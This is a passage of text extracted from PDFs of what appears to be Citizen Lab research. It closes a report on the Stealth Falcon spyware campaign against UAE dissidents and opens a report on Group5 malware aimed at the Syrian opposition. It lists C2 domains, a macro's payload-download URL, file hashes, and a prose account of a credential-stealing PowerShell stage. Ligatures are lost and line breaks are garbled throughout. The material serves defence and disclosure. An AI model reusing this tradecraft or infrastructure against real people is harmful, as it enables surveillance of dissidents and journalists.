aax.me operator had some control over @a7rarelemarat at the time, and may have had control of +a7rarelemarat.com as well. +5.4. Infrastructure Analysis of Stealth Falcon Command & Control +This section describes how we traced Stealth Falcon's spyware to live C2 servers and domain names. +ngerprinted the behavior of adhostingcache.com (the C2 server for the Stage One spyware that Donaghy received) and +traced it to a series of 14 active IP adresses and 11 domains (using PassiveTotal85). Nine domains are named like generic +Internet backend servers (e.g., simpleadbanners.com, clickstatistic.com), whereas two appear to be thematically related to +travel (bestairlinepricetags.com, fasttravelclearance.com), perhaps indicative of travel-themed targeting or targets. +ngerprinted the behavior of incapsulawebcache.com (the C2 server for the Stage Two spyware that Donaghy receied) +and scanned the Internet (including historical scanning results86) for servers that matched our +ngerprint. We also used +Passive DNS to correlate IP addresses to domains. In total, we associated 67 active (and 30 historical) IP addresses with the +Stage Two spyware. Using PassiveTotal, we linked 69 domain names to these IP addresses, the earliest registered on 28 +January 2013, and the most recent registered on 19 April 2016. The vast majority of the domains are named like generic +Internet backend servers. One domain name appears to be travel-themed (airlineadverts.com), and two appear to be news +and/or government themed (ministrynewschannel.com, ministrynewsinfo.com). +The earliest date we found an IP addresses matching our Stage Two +ngerprint was 21 July 2014, as recorded by sonar-ssl +scans. It is possible that the operator used a different con +guration of spyware between January 2013 and July 2014. +We traced several additional domains to Stealth Falcon using WHOIS information, or Passive DNS. Of these, one was +designed to impersonate a China-based provider of VoIP solutions (yeastarr.com), and two appeared to perhaps contain the +Arabic word for security, "amn," (amnkeysvc.com, amnkeysvcs.com). Full scan results and other indicators of targeting can +be found in Appendix F: Indicators of Targeting. +The domain names we found were typically registered with WHOIS privacy providers. Although, in some cases, we were +able to obtain the true registration email through historical WHOIS. Typically, the operators practiced disciplined operational +security: we rarely found an email address that was used to register two domains, and we rarely found two domains linked to +the same IP address. +5.5. May 2016: New Stealth Falcon Document +In May 2016, the following document was submitted to VirusTotal: +Filename: +MD5: +SHA1: +SHA256: +message_032456944343.docm +87e1df6f36b96b56186444e37e2a1ef5 +1c3757006f972ca957d925accf8bbb3023550d1b +4320204d577ef8b939115d16110e97ff04cb4f7d1e77ba5ce011d43f74abc7be +The document was similar to the one sent to Donaghy, except that it purported to be encrypted with WordSecure, "a simple, +HIPAA .. business-grade software for sharing encrypted +les and secure messages with anyone".87 The bait content was a +single line of text reading: +MESSAGE_ERROR: 0E684AD042_(LANGUAGE NOT SUPPORTED) +The document's macro was identical to the one sent to Donaghy, except it reported back to, and downloaded Stage Two from a +different URL: http://optimizedimghosting.com/wddf/hrrw/ggrr.txt. The server optimizedimghosting.com matched our +Stage One +ngerprint for adhostingcache.com. +We obtained Stage Two, which appeared to be a newer version of the Stage Two than in Donaghy's case. The Stage Two in +this case reported back to https://edgecacheimagehosting.com/images/image.nfo. The server edgecacheimagehosting.com +matched our Stage Two +ngerprint for incapsulawebcache.com. +When we connected, the Stage Two server sent us additional commands (which we were unable to obtain in Donaghy's case). +The Stage Two C2 sent us a bundle of 7 commands, that did the following: +1. Gathered system info from WMI +2. Gathered the ARP table +3. Gathered a list of running processes +4. Materialized a +le "OracleJavaUpdater.ps1" to disk. This +le gathers passwords and web browser data from a variety +of sources: Windows Credential Vault, Internet Explorer, Firefox, Chrome, Outlook. In general, the +le appears to be +bespoke attacker code, though some routines are copied from other sources (e.g., some Internet Explorer password +gathering code appears to be lifted from the GPLv3-licensed QuasarRAT88) +5. Executed "OracleJavaUpdater.ps1" +6. Deleted "OracleJavaUpdater.ps1" +7. Gathered a list of running processes again +After command execution, results were returned to the Stage Two C2. +6. Tip of the Iceberg: Possibly Related Attacks +We suspect that the activity we have observed is simply the tip of the iceberg in ongoing attacks against dissidents in the +UAE. Reuse of tactics, techniques and procedures and general carelessness by operators can often lead to discovery of links +between campaigns. We brie +y discuss some instances of potentially related attacks below. +6.1. An Instagram attack? +We noticed that one of the Twitter accounts that sent out aax.me links, @um_zainab123, solicited followers for an Instagram +account @al7ruae2014. +Figure 16: @um_zainab123 soliciting followers for Instagram account @al7ruae2014 on 26 April 2014 +Figure 17: The @al7ruae2014 Instagram account +We contacted an activist with knowledge of the UAE94 case, who told us that the @al7ruae2014 Instagram account got in +touch with several family members of detainees involved in the case, and was soliciting information from them via Instagram +private message. The domain name al7ruae2014.com has the same name as the Instagram account, so we suspect it may also +be related to the operator. +6.2. A fake +le sharing site? +We identi +ed one aax.me link (http://aax.me/4b708) that points to http://velocity +les.com/download.php? +id=a81abdd8a0c0cd1d5d3b6baadcc9eb18. We visited this link in February 2016, and were served a blank page. +VelocityFiles appears to have been disabled in March 2016. +We found that the site purported to be a +le hosting site, where users could register and upload +les. However, the registration +and signup pages are currently blank, and were blank as of the Internet Archive's oldest capture of the pages in December +2013.89 We were unable to identify any links to velocity +les.com from Twitter, or any pages indexed by Google. +The design of VelocityFiles appeared to be a loosely modi +ed version of a public website design template.90 Given that the +site appears to be designed to pose as a public +le sharing service, has no obvious public functionality, and was linked to +through aax.me, we suspect that it may have been an attack site. +Figure 18: Comparison between web design template image (left) and VelocityFiles website (right). +Given VelocityFiles' reference to "FREE MD5 HASHING" (their emphasis), it is possible that the value of the id parameter +in the URL, a81abdd8a0c0cd1d5d3b6baadcc9eb18, represents the MD5 hash of a +le. We were, however, unable to locate +any +le with this MD5 hash. +6.3. Fake web forums? +We found an aax.me link91 that pointed to https://call4uaefreedom.com/vb. The domain was registered on 5/15/2013 and +expired on 5/15/2015. We were unable to +nd any webpages or tweets linking to this website. A Google search for +"call4uaefreedom" reveals a blog, containing +ve posts, all within a 30 minute span on 4 June 2013, and an empty Twitter +account @call4uaefreedom, created in May 2013. Given the suspicious activity associated with the alias "call4uaefreedom," +this may have been created by operators. +While searching for domains with similar domain names, we came across uaefreedom.com. The domain name was +registered on 11 June 2010 by the administrators of UAE Hewar,92 an online discussion forum founded in 2009 that was a +frequent government target. The domain name expired on 11 June 2011, but was re-registered by a different registrant on 7 +October 2012. +On 16 October 2012, we +nd the only tweet linking to uaefreedom.com. A Google search yields no links to the site and we +found no passive DNS data available for this domain. The tweet was sent from account @FreeUAE2012, directed at +@uaemot. An individual based in Qatar was convicted in absentia on 25 December 2013 for running @uaemot.93 +Figure 19: @FreeUAE2012 contacts @uaemot with a suspicious link on 16 October 2012 +Other public tweets involving @FreeUAE2012 included two responses94 from Ahmed Mansoor to @FreeUAE2012 on 10 +October 2012, regarding the 10 October 2012 Citizen Lab report about how Ahmed Mansoor was targeted with Hacking +Team spyware. The tweets from @FreeUAE2012 to which Ahmed Mansoor was responding appear to have been deleted. +Three days later, @FreeUAE2012 attempted to convince Ahmed Mansoor that Tor Browser logged private information of its +users, posting a screenshot of the Tor Metrics page, which provides non-sensitive data for researchers.95 +Figure 20: @FreeUAE2012 attempts to convince Ahmed Mansoor that Tor logs private information of its users +7. Attribution +In this section, we analyze two competing hypotheses about the identity of Stealth Falcon, and conclude that the balance of +evidence suggests Stealth Falcon may be linked to the UAE government. +Hypothesis 1: Stealth Falcon is State Sponsored +Stealth Falcon is a sophisticated threat actor, capable of deploying a wide range of technical and social engineering techniques +against a potential target. The operations targeting Donaghy are linked to a series of primarily UAE-focused campaigns +against UAE dissidents, starting in January 2012. While there is no "smoking gun," several pieces of evidence suggest a +connection between Stealth Falcon and the UAE Government. +UAE Focused Targeting, Links to Arrests +The majority (73%) of bait content on aax.me was focused on UAE-related political issues (Section 5.2). Furthermore, of the +27 victim Twitter accounts we linked to public Stealth Falcon targeting, 24 primarily engaged in political activities, or were +otherwise critical of the UAE government (Section 5.1). Of these 24, we were able to +nd a subsequent arrest or a +conviction in absentia by the UAE government. +Tweets During a Period of Government Control +A reported case in which a Twitter account apparently under UAE Government control shared a Stealth Falcon link also +suggests a connection. +In December 2012, an activist contacted us and asserted that an a7rarelemarat.com link was sent to him in a private message +from the @WeldBudhabi account the same day that an individual accused of operating the account was arrested, and while +the account was "reportedly hacked by authorities".96 The activist asserted that he contacted an owner of the account, who +claimed he did not send that link. The Twitter account associated with a7rarelemarat.com, @a7rarelemarat, appears to +have been under the control of Stealth Falcon at some point during October 2012 (and possibly before and after), as the +account sent several aax.me links in October 2012. +Sophisticated Target Knowledge and Operational Security +Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting +that the operators may have been working with other sources of information about their targets' behaviors. In addition, Stealth +Falcon displayed above-average operational security throughout the campaign. Some of the social engineering was highly +intricate, particularly the email from Andrew Dwight about his ski holiday. Stealth Falcon also shows familiarity with +creating and maintaining a range of +ctitious personas, and registering and managing a signi +cant amount of attack and C2 +infrastructure with concern for operational security. +The infrastructure behind the malware attacks showed good compartmentalization of identities. We rarely found the same +(fake) registration information used for more than one C2 domain. Stealth Falcon operators also appear to have deleted one of +their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed. We also noted that +the (self-signed) SSL certi +cates on the C2 domains were changed several times as we monitored the infrastructure, perhaps +in an attempt to thwart +ngerprinting of their infrastructure via SSL certi +cates. +This level of sophistication is consistent with a state sponsored attacker. Importantly, we found little evidence that indicate +criminal or other motivation for the attack, with no evidence of +nancial or industry targeting. +We also note that while some Stealth Falcon domains were registered on anonymousbitcoindomains.com, which is linked to +APT28 activities, we found no evidence to support such a connection. See Appendix G: No Evidence of APT28 +Connection for more details. +Hypothesis 2: Stealth Falcon is Not State Sponsored +We have considered the possibility that Stealth Falcon's operators are not state sponsored, but ultimately +nd little evidence to +support this possibility. +Stealth Falcon's attacks show no evidence of cyber criminal motivations, like +nancial theft or fraud, nor is there any evidence +of attempts to steal intellectual property or conduct other forms of economic espionage. Instead, the targets are politically +engaged individuals and public +gures. Furthermore, the activity of targets we have been able to identify often concerns +domestic UAE issues. Therefore, we would need to posit an operator with an interest in individuals known for their +engagement in domestic UAE issues. +Other potential motivations might include blackmail or extortion. If this were the case, however, we might expect follow-up +interactions between attackers and successful victims, and we would also expect attackers to use off-the-shelf Remote Access +Tools (RATs), rather than apparently coding a general-purpose RAT from scratch. This would save them the trouble of +needing to load additional malware to ex +ltrate +les or other material. We are aware of no evidence of follow-up interactions +between the operators and successful victims as part of any extortion attempts. Furthermore, Stealth Falcon's use of +JavaScript to pro +le and de-anonymize victims seems inconsistent with a primary motivation of collecting information that +could be used for blackmail. +The strongest scenario for a non-state sponsored attacker is thus a politically motivated group. Stealth Falcon targets are +primarily individuals known for their criticism of the UAE government. It is perhaps conceivable that a group of progovernment hackers might, without coordination, target these individuals. +There are, however, several features of Stealth Falcon's activities that tell against this possibility. First, there is limited existing +evidence that such autonomous groups exist and are active in the UAE. Given what is known about this kind of group, we +might expect such a group to have engaged in defacements, public boasting, or other public-facing activities related to Stealth +Falcon's campaign. Furthermore, it seems unlikely that a previously unknown political group would have the resources to +develop and maintain Stealth Falcon's +ctitious personas and compartmentalized infrastructure. +Evaluation of Hypotheses +We evaluated both hypotheses and found Hypothesis 1: Stealth Falcon is State Sponsored to be the best at explaining the +many elements that we have observed. Stealth Falcon's tactics, resources, and targets all +t with the pro +le of a state +sponsored attacker. Furthermore, the circumstantial evidence we have presented in this report is suggestive of a link between +Stealth Falcon and an entity within the UAE Government. +8. Conclusion: The Big Picture +Stealth Falcon appears to be a new, state sponsored threat actor. As an operator, Stealth Falcon is distinguished by well +informed and sophisticated social engineering, combined with moderately sophisticated97 technical attempts to deanonymize +and monitor political targets working on the UAE, and relatively simple malcode.98 +Social Engineering and the Achilles Heel of Civil Society +Stealth Falcon's technical approach may not be cutting edge, but the operators are neither unsophisticated or ineffective. +Analyzed holistically as an operation, Stealth Falcon is a logical and multi-pronged approach to compromising and +unmasking a class of targets. Stealth Falcon's campaign highlights the power of social engineering, once a technical bar has +been met, in conducting a large scale campaign. +Contemporary social movements and civil society groups rely heavily on the internet for both their core operations, as well as +advocacy activities. Yet these groups are often operating outside a centrally managed IT environment. The constant sharing +of links and materials, as well as regular communications with journalists makes them especially vulnerable to targeting with +social engineering. +However, the emphasis on social engineering can also cut in the other direction. Many modern attack techniques require an +attacker to interact with a target. When operators like Stealth Falcon send malicious e-mails and tweets, there are a range of +opportunities for retrospective investigation. As this report shows, the inboxes of targets, for example, are often a more +cient object of investigation than computers themselves, especially once features of a particular campaign are recognized. +The Growing Trend of Impersonating Journalists +Stealth Falcon is only the latest example of civil society-focused threat actors impersonating NGOs and journalists to conduct +espionage operations. The tactic has been used by a wide range of actors, including Bahrain's government,99 Packrat in Latin +America,100 Iranian groups,101 and China related groups,102 among others. Threat actors seem to gravitate towards this tactic +because interacting with journalists is an essential part of civil society activity. It is common for journalists to send unsolicited +messages to activists and civil society organizations asking for information, and there is typically a strong incentive for the +organization to engage. Indeed, even Western law enforcement agencies have occasionally adopted the approach.103 The +reporter-source relationship is protected in many jurisdictions, based on the understanding that protecting this trust is +important to a healthy and vibrant civil society. Tactics that play on this trust are risky, and can quickly contribute to eroding +the trust on which civil society is based. +Final Note: A Plea for More Research +Importantly, while we were unable to identify evidence of a conclusive link between Stealth Falcon and a particular sponsor, +we have assembled a body of circumstantial evidence that points to an alignment of interests between Stealth Falcon and the +UAE Security Forces. We hope that other researchers will draw from our +ndings and work to identify additional cases. +Finally, we urge anyone who recalls receiving a link to "aax.me," or an email from "Andrew Dwight" to contact the authors +of this report for further investigation. +Acknowledgements +Special thanks to PassiveTotal and Rori Donaghy. Thanks to Jeffrey Knockel, Sarah McKune, Chris Doman, Mansoureh +Mills. +Footnotes +1 http://www.youthdiplomaticservice.com/zzold-business-blog/category/business +2 See for example: http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution- +1712843977; http://www.middleeasteye.net/news/uae-paid-pr- +rm-millions-brief-uk-journalists-qatar-muslim-brotherhoodattacks-1058875159; http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution1712843977; http://www.middleeasteye.net/news/exclusive-emirati-plan-ruling-egypt-2084590756 +3 http://www.middleeasteye.net/users/rori-donaghy +4 http://www.middleeasteye.net/about-middle-east-eye-1798743352 +5 http://www.echr.org.uk/ +6 http://www.echr.org.uk/?page_id=25 +7 https://freedomhouse.org/report/freedom-world/2015/united-arab-emirates +8 https://www.hrw.org/world-report/2016/country-chapters/united-arab-emirates +9 https://www.amnesty.org/en/countries/middle-east-and-north-africa/united-arab-emirates/ +10 https://www.usenix.org/system/ +les/conference/usenixsecurity14/sec14-paper-marczak.pdf +11 https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ +12 https://wikileaks.org/hackingteam/emails/emailid/585453 +13 http://www.uae-embassy.org/news-media/sheikh-mohamed-bin-zayed-al-nahyan-meets-congressional-leaders-and-seniorus-government +14 https://ht.transparencytoolkit.org/rcs-dev%5Cshare/HOME/cristian/9.4%20lic/UAEAF/LICENSE-1262004202-v9.4.lic +15 https://owncloud.org/ +16 https://www.proofpoint.com/us/of +ce365 +17 http://rightto +ghtexhibit.org/home/ +18 http://www.powershellempire.com/ +19 http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights-151103070038231.html +20 Based on last-modi +ed header +21 http://www.andlabs.org/tools/jsrecon.html +22 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf +23 https://yourls.org/ +24 https://github.com/YOURLS/YOURLS +25 A Firefox extension to be used in conjunction with Tor, before the introduction of Tor Browser +26 Importantly, making Tor users appear similar to non-Tor users was a not a goal +27 https://trac.torproject.org/projects/tor/ticket/5922 +28 https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-gregory_ +eischer-attacking_tor.pdf +29 https://blog.torproject.org/blog/new-tor-browser-bundles-windows +30 https://blog.torproject.org/blog/tor-browser-36-released +31 https://msdn.microsoft.com/en-us/library/2yfce773(v=vs.94).aspx#s-e6f6a65cf14f462597b64ac058dbe1d0-system-media- +system-caps-note +32 https://en.wikipedia.org/wiki/Cross-origin_resource_sharing +33 https://esupport.trendmicro.com/en-us/home/pages/technical-support/1057722.aspx +34 http://support.kaspersky.com/us/11255 +35 http://ssj100.fullsubject.com/t446-avira-antivir-premium-allows-all-outbound +36 http://www.wilderssecurity.com/threads/port-80-is-redirected-to-30606-and-no-webpage-is-opened.212599/ +37 https://community.mcafee.com/thread/21790?tstart=0 +38 The tool is available at: http://www.andlabs.org/tools/jsrecon.html. The JavaScript source code may be viewed by viewing +the source of jsrecon.html +39 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf +40 http://www.andlabs.org/tools/jsrecon/jsrecon.html +41 https://code.google.com/p/google-security-research/issues/detail?id=679 +42 http://www.huf +ngtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html +43 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html +44 https://www.indexoncensorship.org/2015/03/united-arab-emirates-stop-the-charade-and-release-activists-convicted-at-themass-uae-94-trial/ +45 http://blogs.voanews.com/repressed/2014/01/14/update-shez-cassim-back-home-after-months-in-uae-jail/ +46 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html +47 http://newday.blogs.cnn.com/2013/12/11/u-s-man-in-jail-in-dubai-over-parody-video/ +48 https://www.youtube.com/watch?v=IUk5CB9kaBY +49 http://www.nydailynews.com/news/national/shezanne-cassim-sentenced-year-united-arab-emirates-parody-video-article1.1556327 +50 https://www.article19.org/resources.php/resource/37279/en/united-arab-emirates:-stop-the-charade-and-release-activistsconvicted-at-the-mass-uae-94-trial +51 https://www.amnesty.org/en/documents/mde25/015/2014/en/ +52 http://www.gc4hr.org/report/view/33 +53 http://www.buid.ac.ae/vc +54 http://www.wam.ae/ar/news/emirates/1395239973989.html +http://emarati.katib.org/2011/03/09/%D8%A5%D9%85%D8%A7%D8%B1%D8%A7%D8%AA%D9%8A%D9%88%D9%86%D9%8A%D8%B1%D9%81%D8%B9%D9%88%D9%86-%D8%B1%D8%B3%D8%A7%D9%84%D8%A9%D9%84%D8%AD%D9%83%D8%A7%D9%85-%D8%A7%D9%84%D8%A5%D9%85%D8%A7%D8%B1%D8%A7/ +56 http://www.cnn.com/2011/WORLD/meast/03/09/uae.petition/ +57 http://www.bbc.com/news/world-middle-east-13043270 +58 http://www.alittihad.ae/details.php?id=8416&y=2005 +59 http://www.thenational.ae/uae/courts/defendant-denies-insulting-leaders-of-uae-on-social-media +60 http://dohanews.co/uae-court-convicts-qataris-for-insulting-royals-on-social-media/ +61 http://www.thenational.ae/uae/foreign-agent-ordered-to-spread-false-information-about-uae +62 https://www.instagram.com/9ip/ +63 https://twitter.com/Bu_saeed2/status/158267593269063680 +64 http://www.gc4hr.org/news/view/198 +65 http://www.echr.org.uk/?page_id=207 +66 https://twitter.com/islam_way_2030/status/232392466760863744 +67 https://twitter.com/a7rarelemarat/status/259883131807621120 +68 http://www.bbc.com/news/world-middle-east-20768205 +69 https://twitter.com/islam_way_2030/status/232393358243401728 +70 http://www.echr.org.uk/?p=1104 +71 https://twitter.com/Dwight389/status/327033672979079168 +72 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html +73 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html +74 https://twitter.com/Dwight389/status/398413653315031041 +75 http://www.thenational.ae/uae/courts/20150518/ +ve-qataris-found-guilty-of-insulting-uae-royals +76 https://twitter.com/MiriamKhaled/status/156625204280434688 +77 https://twitter.com/Bu_saeed2/status/156781983983349760 +78 https://twitter.com/kh_oz/status/351828658371039233 +79 https://twitter.com/Dwight389/status/332452681325088768 +80 https://twitter.com/r7aluae2/status/156418043424157696 +81 http://www.huf +ngtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html +82 https://twitter.com/Bu_saeed2/status/156406670866653184 +83 https://github.com/YOURLS/YOURLS/wiki/Spam +84 http://www.bbc.com/news/world-middle-east-20768205 +85 https://www.passivetotal.org/ +86 sonar-ssl +87 https://wordsecure.com/ +88 https://github.com/quasar/QuasarRAT/blob/master/Client/Core/Recovery/Browsers/InternetExplorer.cs +89 See https://web.archive.org/web/20131207060523/https://velocity +les.com/login.php and +https://web.archive.org/web/20131207054158/https://velocity +les.com/register.php +90 http://templates.entheosweb.com/template_number/live_demo.asp?TemplateID=54257 +91 http://aax.me/1a732 +92 https://en.wikipedia.org/wiki/Emirates_Discussion_Forum +93 http://www.echr.org.uk/?p=1104 +94 https://twitter.com/Ahmed_Mansoor/status/256142870896054273 and +https://twitter.com/Ahmed_Mansoor/status/256144504116109312 +95 https://metrics.torproject.org/ +96 http://www.bbc.com/news/world-middle-east-20768205 +97 e.g., local portscanning from webpages with JS-Recon, determining web browser versions by testing JavaScript +functionality, Tor Browser pro +ling bug, macro infection. +98 e.g., Powershell remote shell. +99 https://citizenlab.org/2012/07/from-bahrain-with-love- +shers-spy-kit-exposed/ +100 https://citizenlab.org/2015/12/packrat-report/ +101 https://citizenlab.org/2015/08/iran_two_factor_phishing/ +102 https://targetedthreats.net/ +103 http://www.latimes.com/nation/la-na-associated-press-lawsuit-20150827-story.html +Group5: Syria and the Iranian Connection +citizenlab.org /2016/08/group5-syria/ +By John Scott-Railton,* Bahr Abdulrazzak,* Adam Hulcoop,* Matt Brooks,* & Katie Kleemola** +*The Citizen Lab at the Munk School of Global Affairs, University of Toronto; **Lookout Inc. +Read the Associated Press exclusive, +Read the op-ed by Citizen Lab Director Ron Deibert. +Other media: BoingBoing, BBC, Voice of America Persian, IB Times, Softpedia, Asharq Al-Awsat, +AlArabiya, SecurityWeek, SC Magazine, Okaz, Milliyet, Twsas, Radio Sawa, Foreign Policy, Schneier on Security. +Executive Summary +This report describes an elaborately staged malware operation with targets in the Syrian opposition. The operators use a +range of techniques to target Windows computers and Android phones with the apparent goal of penetrating the +computers of well-connected individuals in the Syrian opposition. +We first discovered the operation in late 2015 when a member of the Syrian opposition spotted a suspicious e-mail +containing a PowerPoint slideshow. From this initial message, we uncovered a watering hole website with malicious +programs, malicious PowerPoint files, and Android malware, all apparently designed to appeal to members of the +opposition. +Elements of the Syrian opposition have been targeted by malware campaigns since the early days of the conflict: regimelinked malware groups, the Syrian Electronic Army, ISIS, and a group linked to Lebanon reported by FireEye in 2015 have +all attempted to penetrate opposition computers and communications. Some of these operations are still active as of the +time of writing. This report adds one more threat actor to the list: Group5, which we name to reflect the four other known +malware groups. +Group5 stands out from the operations that have already been reported on: some of the tactics and tools used have not +been observed in this conflict; the operators seem comfortable with Iranian Persian dialect tools and Iranian hosting +companies; and they appear to have run elements of the operation from Iranian IP space. +1/48 +Like a chameleon, Group5 borrows opposition text and slogans for e-mail messages and watering holes, showing +evidence of good social engineering and targeting. However, Group5 +s technical quality is low, and their operational +security uneven. This is a common feature of many operations in the Syrian context: since the baseline security of many +of the targets is very low, many successful threat actors seem to conserve (and in some cases not possess) more +sophisticated techniques. We believe we identified Group5 early in its lifecycle, before all of the malware that had been +staged and prepared could be deployed in a full campaign. +Our analysis indicates that Group5 is likely a new entrant in Syria, and we outline the circumstantial evidence pointing to +an Iranian nexus. We do not conclusively attribute Group5 to a sponsor, although we suspect the interests of a state are +present, in some form. Group5 is just the latest addition to an expanding cast of actors targeting Syrian opposition groups, +and its entry into the conflict shows the continuing information security risks that they face. +Background: The Perpetual Targeting of the Syrian Opposition +Syrians have experienced monitoring and blocking of their electronic communications for many years. As a result, many +2/48 +more technically literate Syrians have familiarized themselves with VPNs and other tools to circumvent simple blocking, +and achieve a degree of privacy. After the 2011 Uprising began, the regime disconnected telecommunications services in +many areas controlled by opposition groups. This led, in these areas, to the widespread adoption of satellite internet +connectivity, mostly via VSAT (Very Small Aperture Terminal) services like Tooway and iDirect, and to a lesser extent the +use of BGAN (Broadband Global Area Network) terminals. +At the same time, the Syrian opposition +s activities outside the country, both in neighboring countries like Turkey, as well +as in the diaspora, dramatically increased. Much of this activity takes place over social networks, free e-mail accounts like +Gmail (and Google Apps for Work), and via tools like Skype +s VoIP services. +These shifts in connectivity limited the effectiveness of the passive monitoring and blocking used by the Al Assad Regime, +and frustrated its abilities to monitor the opposition. +However, the shift towards social networks and other online tools has created new opportunities for the regime to target +the opposition. Opposition members constantly share information, files, tools and programs, via social media. This highlyconnected environment enables them to be highly aware of changing events, and quickly mobilize resources. In addition, +a number of online services, such as the Google Play Store, are blocked or restricted for Syria. As a result, a culture of +sharing Android APK files has also developed. +The heavy reliance on popular online platforms, and regular sharing of tools, presents many opportunities to seed +malicious files. For the regime, a successful operation means a chance to regain visibility into the activities of groups +within the geographic borders of Syria, while extending their reach outside into the diaspora. For other groups, such as +ISIS, the digital vulnerability of the opposition presents an opportunity to develop a capability against opposition +communications. The following section outlines several of these known threat actors. +Regime-Linked Groups +The most well-known threat actor to target the Syrian Revolution is the Syrian Electronic Army (SEA). However, many of +the targets of the SEA have been Western organizations, although the SEA continues to conduct lower-profile operations +that include malware against the opposition. Less notorious, although still the subject of reporting, are malware groups +linked to the regime. These malware groups have been active since 2011, and have used a wide range of CommercialOff-The-Shelf (COTS) Remote Access Trojans (RATs) to target the opposition. Typically, these groups bundle RATs with a +wide range of documents and programs designed to appeal to the opposition. Over the years, these campaigns have +included everything from +revolution plans, + lists of +wanted suspects, + to fake security and encryption tools. These +campaigns have been extensively characterized by reports from the Citizen Lab, The Electronic Frontier Foundation, and +private companies like TrendMicro and Kaspersky. A range of reports have documented these regime-linked campaigns +over the years. +Pro-Regime Groups Outside Syria +There is also evidence of pro-Assad groups outside Syria participating in malware campaigns against opposition. Notably, +a group reported on in 2015 by FireEye (in collaboration with one of the authors of this report) used female avatars to +send trojaned documents to high profile figures in opposition politics, aid, and armed groups. The operation yielded over +31,000 conversations, and a trove of sensitive information about a variety of groups + plans and activities. This group also +made use of fake matchmaking websites and social media accounts to backstop their deception. +ISIS-Linked Groups +On a different side of conflict, the Citizen Lab documented a malware operation linked to ISIS against the group +Raqqa is +Being Slaughtered Silently + (RBSS) in 2015. The operators, masquerading as a group of RBSS sympathizers based in +Canada, targeted victims with a file that claimed to contain locations of ISIS forces and US Airstrikes within Syria. The file +actually contained custom malware that collected and transmitted information about the infected computer. The report +concluded that there was strong circumstantial evidence linking the malware to members of ISIS. +3/48 +Many Groups, Similar Tactics +Each of these groups has distinct Tactics, Techniques and Procedures (TTPs). However, one common thread among the +many publicly-reported groups is that they rarely use exploits in their campaigns, instead relying heavily on social +engineering and trickery to convince targets to execute malicious files, disguised as innocuous documents. +This may reflect some of these groups + lack of technical sophistication. For example, many regime-linked groups seem to +have very limited skills and technical resources, and rely almost entirely on RATs coupled with well-informed social +engineering. These techniques have evolved, but not improved radically since 2011. In other cases, such as the Lebanonlinked group reported on by FireEye, operators may have access to more sophisticated techniques, but see little reason to +use them against their targets, given the limited technical capabilities of the opposition. +Part 1: Discovering Group5 +This section describes the e-mails that first alerted us to an operation targeting the Syrian political opposition in October +2015. +On October 3rd 2015, Noura Al-Ameer, a well-connected Syrian opposition political figure, negotiator, and former Vice +President of the opposition Syrian National Council (SNC), received a suspicious e-mail.1 The e-mail purported to come +from a human rights documentation organization she had never heard of: +Assad Crimes. + The sender, using the e-mail +address office@assadcrimes[.]info claimed to be sharing information about Iranian +crimes, + a theme familiar to many in +the opposition. +Fig. 1: Noura Al-Ameer, former SNC Vice President and a target of the operation. An activist from Homs, Syria, Al-Ameer was detained and tortured in the security +branches, later moved to the infamous Adra prison in Damascus, prior to fleeing the country several years ago. Today, she is a delegate to the SNC +s political council +and works to document war crimes committed during the conflict. Her identity was falsely used to register the assadcrimes website. +4/48 +Interestingly, Al-Ameer +s own name was used in the assadcrimes[.]info domain registration, along with other false +information (we speculate on the reason for using her name in Part 6: Analysis of Competing Hypotheses). +Along with a brief pretext in the Subject and Body, the e-mail also contains an attached Microsoft PowerPoint Slideshow +(PPSX) document that, when clicked, directly opens and runs a PowerPoint slideshow. +E-mail 1: The Initial Message (Dropper Doc 1) +On October 3rd 2015, Al-Ameer received the initial e-mail message, containing the first malicious file: +Translation: +From: office@assadcrimes[.]info +Subject: Iran is killing the Pilgrims in Mina +Body: Iran +s Crimes in the Kingdom of Saudi Arabia +Examination of the header of the message indicates that the message was sent via 88.198.222[.]163, the same IP +address as the Command & Control (C2) for the malware dropped by the file (See Part 3: Windows Malware). +Assadcrimes.ppsx +MD5 : 76F8142B4E52C671871B3DF87F10C30C +Communication with the Operator +Al-Ameer, who is no stranger to digital threats, recognized that the e-mail was suspicious, and on our instruction made +contact with the operator, hoping to elicit further malware. +Al-Ameer +s E-mail: +Translation: +5/48 +From: [Redacted] +To: office@assadcrimes[.]info +Body: +Hello +The file didn +t work +. Please send a correct version +E-mail 2: The Operator Replies (Dropper Doc 2) +Shortly after the target +s message, the operator replied with an updated file, sent via a webmail client (RoundCube): +Translation: +From: office@assadcrimes[.]info +To:[Redacted] +Body: +inf* download +We are unsure why the second e-mail does not contain additional social engineering text. It is possible this was an +oversight, or that the Group5 operator at the time was not comfortable writing in Arabic. +Assadcrimes1.ppsx +MD5: F1F84EA3229DCA0CCACB7381A2F49F99 +Bait Content: Syria and Iran-Themed PowerPoint Slideshows +The PPSX documents (assadcrimes.ppsx & assadcrimes1.ppsx) contain a series of images and Arabic text, including +cartoons and photographs describing politically sensitive events, such as aggressions launched by Iran against Saudi +Arabia, and the politics surrounding the current Syrian conflict. The documents also provide a historical overview of +Iranian-linked +attacks + and other events in the Kingdom of Saudi Arabia. +Translation: +On 1404 A.H + 1984 A.D Iranian warship attacked Saudi Arabia +On 1404 A.H, two Iranian war planes headed to Jubail industrial city, to bomb and hit critical factories (Petrochemical +factory) and by god +s well, the Saudi +s air forces was able to hit one plane, while the other managed to escape. +When opened, both files download malware onto the victim +s machine. Malware from these files is 